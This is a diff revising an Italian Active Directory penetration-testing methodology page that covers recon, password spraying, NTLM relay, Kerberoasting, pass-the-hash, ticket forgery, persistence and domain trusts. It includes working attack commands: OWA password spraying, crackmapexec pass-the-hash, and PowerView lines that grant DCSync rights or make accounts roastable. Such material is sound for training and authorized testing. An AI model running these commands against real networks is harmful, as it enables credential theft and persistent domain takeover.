1. **Directory** – Contiene tutte le informazioni relative agli oggetti di Active Directory.
|
||||
2. **Oggetto** – Denota entità all'interno della directory, inclusi **utenti**, **gruppi** o **cartelle condivise**.
|
||||
3. **Dominio** – Funziona come contenitore per gli oggetti della directory, con la possibilità che più domini coesistano all'interno di una **foresta**, ciascuno mantenendo la propria raccolta di oggetti.
|
||||
3. **Dominio** – Funziona come contenitore per gli oggetti della directory, con la capacità di più domini di coesistere all'interno di una **foresta**, ciascuno mantenendo la propria raccolta di oggetti.
|
||||
4. **Albero** – Un raggruppamento di domini che condividono un dominio radice comune.
|
||||
5. **Foresta** – Il culmine della struttura organizzativa in Active Directory, composta da diversi alberi con **relazioni di fiducia** tra di loro.
|
||||
|
||||
@ -20,12 +20,12 @@ I concetti chiave all'interno di **Active Directory** includono:
|
||||
|
||||
1. **Domain Services** – Centralizza l'archiviazione dei dati e gestisce le interazioni tra **utenti** e **domini**, inclusi i funzionalità di **autenticazione** e **ricerca**.
|
||||
2. **Certificate Services** – Supervisiona la creazione, distribuzione e gestione di **certificati digitali** sicuri.
|
||||
3. **Lightweight Directory Services** – Supporta applicazioni abilitate per la directory tramite il **protocollo LDAP**.
|
||||
3. **Lightweight Directory Services** – Supporta applicazioni abilitate per directory tramite il **protocollo LDAP**.
|
||||
4. **Directory Federation Services** – Fornisce capacità di **single-sign-on** per autenticare gli utenti attraverso più applicazioni web in una singola sessione.
|
||||
5. **Rights Management** – Aiuta a proteggere il materiale protetto da copyright regolando la sua distribuzione e uso non autorizzati.
|
||||
6. **DNS Service** – Cruciale per la risoluzione dei **nomi di dominio**.
|
||||
|
||||
Per una spiegazione più dettagliata, controlla: [**TechTerms - Definizione di Active Directory**](https://techterms.com/definition/active_directory)
|
||||
Per una spiegazione più dettagliata controlla: [**TechTerms - Definizione di Active Directory**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Autenticazione Kerberos**
|
||||
|
||||
@ -36,13 +36,16 @@ Per imparare a **attaccare un AD** devi **comprendere** molto bene il **processo
|
||||
|
||||
Puoi prendere molto da [https://wadcoms.github.io/](https://wadcoms.github.io) per avere una visione rapida dei comandi che puoi eseguire per enumerare/sfruttare un AD.
|
||||
|
||||
> [!WARNING]
|
||||
> La comunicazione Kerberos **richiede un nome completamente qualificato (FQDN)** per eseguire azioni. Se provi ad accedere a una macchina tramite l'indirizzo IP, **utilizzerà NTLM e non kerberos**.
|
||||
|
||||
## Recon Active Directory (Nessuna credenziale/sessioni)
|
||||
|
||||
Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti:
|
||||
|
||||
- **Pentestare la rete:**
|
||||
- Scansionare la rete, trovare macchine e porte aperte e provare a **sfruttare vulnerabilità** o **estrarre credenziali** da esse (ad esempio, [le stampanti potrebbero essere obiettivi molto interessanti](ad-information-in-printers.md).
|
||||
- Enumerare il DNS potrebbe fornire informazioni sui server chiave nel dominio come web, stampanti, condivisioni, vpn, media, ecc.
|
||||
- Scansiona la rete, trova macchine e porte aperte e prova a **sfruttare vulnerabilità** o **estrarre credenziali** da esse (ad esempio, [le stampanti potrebbero essere obiettivi molto interessanti](ad-information-in-printers.md).
|
||||
- Enumerare DNS potrebbe fornire informazioni sui server chiave nel dominio come web, stampanti, condivisioni, vpn, media, ecc.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Dai un'occhiata alla [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) generale per trovare ulteriori informazioni su come fare questo.
|
||||
- **Controlla l'accesso nullo e Guest sui servizi smb** (questo non funzionerà su versioni moderne di Windows):
|
||||
@ -57,18 +60,18 @@ Se hai solo accesso a un ambiente AD ma non hai credenziali/sessioni, potresti:
|
||||
|
||||
- **Enumerare Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Una guida più dettagliata su come enumerare LDAP può essere trovata qui (fai **particolare attenzione all'accesso anonimo**):
|
||||
- Una guida più dettagliata su come enumerare LDAP può essere trovata qui (fai **attenzione speciale all'accesso anonimo**):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
- **Avvelenare la rete**
|
||||
- Raccogliere credenziali [**impersonando servizi con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Accedere all'host [**abusando dell'attacco di relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Raccogliere credenziali **esponendo** [**falsi servizi UPnP con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- Raccogli credenziali [**impersonando servizi con Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Accedi all'host [**abusando dell'attacco di relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Raccogli credenziali **esponendo** [**falsi servizi UPnP con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Estrarre nomi utenti/nomi da documenti interni, social media, servizi (principalmente web) all'interno degli ambienti di dominio e anche da fonti pubblicamente disponibili.
|
||||
- Estrai nomi utenti/nomi da documenti interni, social media, servizi (principalmente web) all'interno degli ambienti di dominio e anche da quelli pubblicamente disponibili.
|
||||
- Se trovi i nomi completi dei lavoratori dell'azienda, potresti provare diverse **convenzioni di nome utente AD** (**[leggi questo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Le convenzioni più comuni sono: _NomeCognome_, _Nome.Cognome_, _NamSur_ (3 lettere di ciascuno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _lettere casuali e 3 numeri casuali_ (abc123).
|
||||
- Strumenti:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
@ -105,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Puoi trovare elenchi di nomi utente in [**questo repo github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* e questo ([**nomi utente statisticamente probabili**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
> Puoi trovare elenchi di nomi utente in [**questo repo github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) e in questo ([**nomi utente statisticamente probabili**](https://github.com/insidetrust/statistically-likely-usernames)).
|
||||
>
|
||||
> Tuttavia, dovresti avere il **nome delle persone che lavorano nell'azienda** dal passo di ricognizione che dovresti aver eseguito prima di questo. Con il nome e il cognome potresti usare lo script [**namemash.py**](https://gist.github.com/superkojiman/11076951) per generare potenziali nomi utente validi.
|
||||
|
||||
@ -131,7 +134,7 @@ Potresti essere in grado di **ottenere** alcuni **hash di sfida** per decifrare
|
||||
|
||||
### Relay NTLM
|
||||
|
||||
Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare attacchi [**relay NTLM**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* per ottenere accesso all'ambiente AD.
|
||||
Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare attacchi [**relay NTLM**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) per accedere all'ambiente AD.
|
||||
|
||||
### Rubare credenziali NTLM
|
||||
|
||||
@ -143,7 +146,7 @@ Se puoi **accedere ad altri PC o condivisioni** con l'**utente null o guest** po
|
||||
|
||||
## Enumerare Active Directory CON credenziali/sessione
|
||||
|
||||
Per questa fase devi aver **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai alcune credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**.
|
||||
Per questa fase devi avere **compromesso le credenziali o una sessione di un account di dominio valido.** Se hai alcune credenziali valide o una shell come utente di dominio, **dovresti ricordare che le opzioni fornite prima sono ancora opzioni per compromettere altri utenti**.
|
||||
|
||||
Prima di iniziare l'enumerazione autenticata dovresti sapere qual è il **problema del doppio salto Kerberos.**
|
||||
|
||||
@ -185,7 +188,7 @@ Maggiori informazioni su questo in:
|
||||
kerberoast.md
|
||||
{{#endref}}
|
||||
|
||||
### Connessione remota (RDP, SSH, FTP, Win-RM, ecc)
|
||||
### Connessione remota (RDP, SSH, FTP, Win-RM, ecc.)
|
||||
|
||||
Una volta ottenute alcune credenziali, potresti controllare se hai accesso a qualche **macchina**. A tal fine, potresti usare **CrackMapExec** per tentare di connetterti a diversi server con diversi protocolli, in base alle tue scansioni delle porte.
|
||||
|
||||
@ -207,15 +210,15 @@ C'è una pagina completa in questo libro su [**escalation dei privilegi locali i
|
||||
```
|
||||
### NTLM Relay
|
||||
|
||||
Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare gli attacchi [**relay NTLM**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
Se sei riuscito a enumerare l'active directory avrai **più email e una migliore comprensione della rete**. Potresti essere in grado di forzare gli attacchi [**NTLM relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### **Cerca Credenziali nelle Condivisioni di Computer**
|
||||
### Cerca Credenziali nelle Condivisioni di Computer | Condivisioni SMB
|
||||
|
||||
Ora che hai alcune credenziali di base dovresti controllare se puoi **trovare** dei **file interessanti condivisi all'interno dell'AD**. Potresti farlo manualmente, ma è un compito molto noioso e ripetitivo (e ancora di più se trovi centinaia di documenti da controllare).
|
||||
Ora che hai alcune credenziali di base dovresti controllare se puoi **trovare** dei **file interessanti condivisi all'interno dell'AD**. Potresti farlo manualmente, ma è un compito molto noioso e ripetitivo (e ancora di più se trovi centinaia di documenti che devi controllare).
|
||||
|
||||
[**Segui questo link per scoprire gli strumenti che potresti utilizzare.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Rubare Credenziali NTLM
|
||||
### Ruba Credenziali NTLM
|
||||
|
||||
Se puoi **accedere ad altri PC o condivisioni** potresti **posizionare file** (come un file SCF) che, se in qualche modo accessibili, **attiveranno un'autenticazione NTLM contro di te** così potrai **rubare** la **sfida NTLM** per decifrarla:
|
||||
|
||||
@ -231,20 +234,20 @@ Questa vulnerabilità ha permesso a qualsiasi utente autenticato di **compromett
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalation dei privilegi su Active Directory CON credenziali/sessione privilegiate
|
||||
## Escalation dei privilegi su Active Directory CON credenziali/sessioni privilegiate
|
||||
|
||||
**Per le seguenti tecniche un normale utente di dominio non è sufficiente, hai bisogno di alcuni privilegi/credenziali speciali per eseguire questi attacchi.**
|
||||
**Per le seguenti tecniche un normale utente di dominio non è sufficiente, hai bisogno di privilegi/credenziali speciali per eseguire questi attacchi.**
|
||||
|
||||
### Estrazione dell'hash
|
||||
### Estrazione degli hash
|
||||
|
||||
Speriamo che tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalation dei privilegi localmente](../windows-local-privilege-escalation/index.html).\
|
||||
Speriamo che tu sia riuscito a **compromettere qualche account admin locale** utilizzando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) inclusi i relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalare privilegi localmente](../windows-local-privilege-escalation/index.html).\
|
||||
Poi, è tempo di estrarre tutti gli hash in memoria e localmente.\
|
||||
[**Leggi questa pagina sui diversi modi per ottenere gli hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Una volta che hai l'hash di un utente**, puoi usarlo per **impersonarlo**.\
|
||||
Devi usare qualche **strumento** che **eseguirà** l'**autenticazione NTLM utilizzando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno del **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.\
|
||||
Devi usare qualche **strumento** che **eseguirà** l'**autenticazione NTLM utilizzando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno di **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz.\
|
||||
[**Leggi questa pagina per ulteriori informazioni.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
@ -277,7 +280,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### Abuso di MSSQL e Link Fidati
|
||||
|
||||
Se un utente ha privilegi per **accedere alle istanze MSSQL**, potrebbe essere in grado di usarlo per **eseguire comandi** nell'host MSSQL (se in esecuzione come SA), **rubare** l'**hash** NetNTLM o persino eseguire un **attacco** di **relay**.\
|
||||
Inoltre, se un'istanza MSSQL è fidata (link di database) da un'altra istanza MSSQL. Se l'utente ha privilegi sul database fidato, sarà in grado di **utilizzare la relazione di fiducia per eseguire query anche nell'altra istanza**. Queste fiducia possono essere concatenate e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.\
|
||||
Inoltre, se un'istanza MSSQL è fidata (link del database) da un'altra istanza MSSQL. Se l'utente ha privilegi sul database fidato, sarà in grado di **utilizzare la relazione di fiducia per eseguire query anche nell'altra istanza**. Queste fiducia possono essere concatenate e a un certo punto l'utente potrebbe essere in grado di trovare un database mal configurato dove può eseguire comandi.\
|
||||
**I link tra i database funzionano anche attraverso le fiducia tra foreste.**
|
||||
|
||||
{{#ref}}
|
||||
@ -311,7 +314,7 @@ Avere il privilegio di **SCRITTURA** su un oggetto Active Directory di un comput
|
||||
resource-based-constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Abuso di ACL
|
||||
### Abuso delle ACL
|
||||
|
||||
L'utente compromesso potrebbe avere alcuni **privilegi interessanti su alcuni oggetti di dominio** che potrebbero consentirti di **muoverti** lateralmente/**escalare** privilegi.
|
||||
|
||||
@ -338,7 +341,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** fornisce un sistema per gestire la **password dell'Amministratore locale** sui computer uniti al dominio, assicurando che sia **randomizzata**, unica e frequentemente **cambiata**. Queste password sono memorizzate in Active Directory e l'accesso è controllato tramite ACL solo per gli utenti autorizzati. Con permessi sufficienti per accedere a queste password, diventa possibile pivotare verso altri computer.
|
||||
**LAPS** fornisce un sistema per gestire la **password dell'Amministratore locale** sui computer uniti al dominio, assicurando che sia **randomizzata**, unica e frequentemente **cambiata**. Queste password sono memorizzate in Active Directory e l'accesso è controllato tramite ACL solo per gli utenti autorizzati. Con permessi sufficienti per accedere a queste password, diventa possibile passare ad altri computer.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -373,29 +376,29 @@ Una volta ottenuti i privilegi di **Domain Admin** o anche meglio di **Enterpris
|
||||
### Privesc come Persistenza
|
||||
|
||||
Alcune delle tecniche discusse in precedenza possono essere utilizzate per la persistenza.\
|
||||
Ad esempio potresti:
|
||||
Ad esempio, potresti:
|
||||
|
||||
- Rendere gli utenti vulnerabili a [**Kerberoast**](kerberoast.md)
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
|
||||
```
|
||||
|
||||
- Rendere gli utenti vulnerabili a [**ASREPRoast**](asreproast.md)
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Concedere privilegi di [**DCSync**](#dcsync) a un utente
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
```
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
L'**attacco Silver Ticket** crea un **biglietto legittimo per il Ticket Granting Service (TGS)** per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi del servizio**.
|
||||
L'**attacco Silver Ticket** crea un **ticket di servizio Ticket Granting Service (TGS)** legittimo per un servizio specifico utilizzando l'**hash NTLM** (ad esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **accedere ai privilegi del servizio**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -403,7 +406,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Un'**attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket Granting Tickets (TGT)**, che sono essenziali per l'autenticazione all'interno della rete AD.
|
||||
Un **attacco Golden Ticket** comporta che un attaccante ottenga accesso all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene utilizzato per firmare tutti i **Ticket Granting Tickets (TGT)**, che sono essenziali per l'autenticazione all'interno della rete AD.
|
||||
|
||||
Una volta che l'attaccante ottiene questo hash, può creare **TGT** per qualsiasi account scelga (attacco Silver ticket).
|
||||
|
||||
@ -413,13 +416,13 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Questi sono come i biglietti d'oro forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei biglietti d'oro.**
|
||||
Questi sono simili ai golden ticket forgiati in un modo che **bypassa i comuni meccanismi di rilevamento dei golden ticket.**
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### **Persistenza dell'Account dei Certificati**
|
||||
### **Persistenza degli Account Certificati**
|
||||
|
||||
**Avere certificati di un account o essere in grado di richiederli** è un ottimo modo per poter persistere nell'account degli utenti (anche se cambia la password):
|
||||
|
||||
@ -429,7 +432,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Persistenza dei Certificati nel Dominio**
|
||||
|
||||
**Utilizzare i certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:**
|
||||
**Utilizzare certificati è anche possibile per persistere con privilegi elevati all'interno del dominio:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -449,9 +452,9 @@ All'interno di ogni **Domain Controller (DC)**, esiste un account **amministrato
|
||||
dsrm-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza ACL
|
||||
### Persistenza delle ACL
|
||||
|
||||
Potresti **dare** alcuni **permessi speciali** a un **utente** su alcuni oggetti di dominio specifici che consentiranno all'utente di **escalare privilegi in futuro**.
|
||||
Potresti **dare** alcuni **privilegi speciali** a un **utente** su alcuni oggetti di dominio specifici che consentiranno all'utente di **escalare privilegi in futuro**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -459,7 +462,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Descrittori di Sicurezza
|
||||
|
||||
I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **permessi** che un **oggetto** ha **su** un **oggetto**. Se puoi solo **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
|
||||
I **descrittori di sicurezza** vengono utilizzati per **memorizzare** i **privilegi** che un **oggetto** ha **su** un **oggetto**. Se puoi semplicemente **fare** un **piccolo cambiamento** nel **descrittore di sicurezza** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -506,34 +509,34 @@ Microsoft considera la **Foresta** come il confine di sicurezza. Ciò implica ch
|
||||
|
||||
### Informazioni di Base
|
||||
|
||||
Una [**fiducia di dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che consente a un utente di un **dominio** di accedere alle risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, consentendo che le verifiche di autenticazione fluiscano senza problemi. Quando i domini stabiliscono una fiducia, scambiano e mantengono specifiche **chiavi** all'interno dei loro **Domain Controllers (DC)**, che sono cruciali per l'integrità della fiducia.
|
||||
Una [**fiducia di dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che consente a un utente di un **dominio** di accedere alle risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, consentendo che le verifiche di autenticazione fluiscano senza problemi. Quando i domini stabiliscono una fiducia, scambiano e mantengono specifici **chiavi** all'interno dei loro **Domain Controllers (DC)**, che sono cruciali per l'integrità della fiducia.
|
||||
|
||||
In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un biglietto speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un biglietto di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
|
||||
In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio fidato**, deve prima richiedere un ticket speciale noto come **inter-realm TGT** dal DC del proprio dominio. Questo TGT è crittografato con una **chiave** condivisa su cui entrambi i domini hanno concordato. L'utente presenta quindi questo TGT al **DC del dominio fidato** per ottenere un ticket di servizio (**TGS**). Dopo la validazione con successo dell'inter-realm TGT da parte del DC del dominio fidato, emette un TGS, concedendo all'utente accesso al servizio.
|
||||
|
||||
**Passaggi**:
|
||||
|
||||
1. Un **computer client** in **Dominio 1** avvia il processo utilizzando il proprio **hash NTLM** per richiedere un **Ticket Granting Ticket (TGT)** dal proprio **Domain Controller (DC1)**.
|
||||
1. Un **computer client** nel **Dominio 1** avvia il processo utilizzando il proprio **hash NTLM** per richiedere un **Ticket Granting Ticket (TGT)** dal proprio **Domain Controller (DC1)**.
|
||||
2. DC1 emette un nuovo TGT se il client viene autenticato con successo.
|
||||
3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse in **Dominio 2**.
|
||||
3. Il client richiede quindi un **inter-realm TGT** da DC1, necessario per accedere alle risorse nel **Dominio 2**.
|
||||
4. L'inter-realm TGT è crittografato con una **chiave di fiducia** condivisa tra DC1 e DC2 come parte della fiducia tra domini bidirezionale.
|
||||
5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** di Dominio 2.
|
||||
6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server in Dominio 2 a cui il client desidera accedere.
|
||||
7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio in Dominio 2.
|
||||
5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** del Dominio 2.
|
||||
6. DC2 verifica l'inter-realm TGT utilizzando la sua chiave di fiducia condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server nel Dominio 2 a cui il client desidera accedere.
|
||||
7. Infine, il client presenta questo TGS al server, che è crittografato con l'hash dell'account del server, per ottenere accesso al servizio nel Dominio 2.
|
||||
|
||||
### Diverse fiducia
|
||||
|
||||
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal fidato**.
|
||||
È importante notare che **una fiducia può essere unidirezionale o bidirezionale**. Nelle opzioni bidirezionali, entrambi i domini si fideranno l'uno dell'altro, ma nella relazione di fiducia **unidirezionale** uno dei domini sarà il **fidato** e l'altro il **fiducioso**. Nel secondo caso, **sarai in grado di accedere solo alle risorse all'interno del dominio fiducioso dal dominio fidato**.
|
||||
|
||||
Se il Dominio A si fida del Dominio B, A è il dominio fiducioso e B è quello fidato. Inoltre, in **Dominio A**, questo sarebbe una **fiducia in uscita**; e in **Dominio B**, questo sarebbe una **fiducia in entrata**.
|
||||
|
||||
**Diverse relazioni di fiducia**
|
||||
|
||||
- **Fiducia Genitore-Figlio**: Questa è una configurazione comune all'interno della stessa foresta, dove un dominio figlio ha automaticamente una fiducia bidirezionale transitiva con il suo dominio genitore. Essenzialmente, ciò significa che le richieste di autenticazione possono fluire senza problemi tra il genitore e il figlio.
|
||||
- **Fiducia Cross-link**: Riferita come "fiducia di collegamento rapido", queste sono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù verso il dominio target. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
|
||||
- **Fiducia Esterna**: Queste sono impostate tra domini diversi e non correlati e sono di natura non transitiva. Secondo la [documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
|
||||
- **Fiducia Tree-root**: Queste fiducia sono automaticamente stabilite tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitività bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Fiducia Cross-link**: Riferita come "fiducia abbreviata", queste vengono stabilite tra domini figli per accelerare i processi di riferimento. In foreste complesse, i riferimenti di autenticazione devono generalmente viaggiare fino alla radice della foresta e poi giù fino al dominio target. Creando collegamenti incrociati, il viaggio viene accorciato, il che è particolarmente vantaggioso in ambienti geograficamente dispersi.
|
||||
- **Fiducia Esterna**: Queste vengono impostate tra domini diversi e non correlati e sono di natura non transitiva. Secondo la [documentazione di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le fiducia esterne sono utili per accedere a risorse in un dominio al di fuori della foresta attuale che non è connesso tramite una fiducia tra foreste. La sicurezza è rafforzata attraverso il filtraggio SID con fiducia esterne.
|
||||
- **Fiducia Tree-root**: Queste fiducia vengono stabilite automaticamente tra il dominio radice della foresta e un nuovo albero radice aggiunto. Anche se non comunemente incontrate, le fiducia tree-root sono importanti per aggiungere nuovi alberi di dominio a una foresta, consentendo loro di mantenere un nome di dominio unico e garantendo una transitività bidirezionale. Maggiori informazioni possono essere trovate nella [guida di Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Fiducia tra Foreste**: Questo tipo di fiducia è una fiducia bidirezionale transitiva tra due domini radice di foresta, imponendo anche il filtraggio SID per migliorare le misure di sicurezza.
|
||||
- **Fiducia MIT**: Queste fiducia sono stabilite con domini Kerberos non Windows, conformi a [RFC4120](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
|
||||
- **Fiducia MIT**: Queste fiducia vengono stabilite con domini Kerberos non Windows, [conformi a RFC4120](https://tools.ietf.org/html/rfc4120). Le fiducia MIT sono un po' più specializzate e si rivolgono a ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
|
||||
|
||||
#### Altre differenze nelle **relazioni di fiducia**
|
||||
|
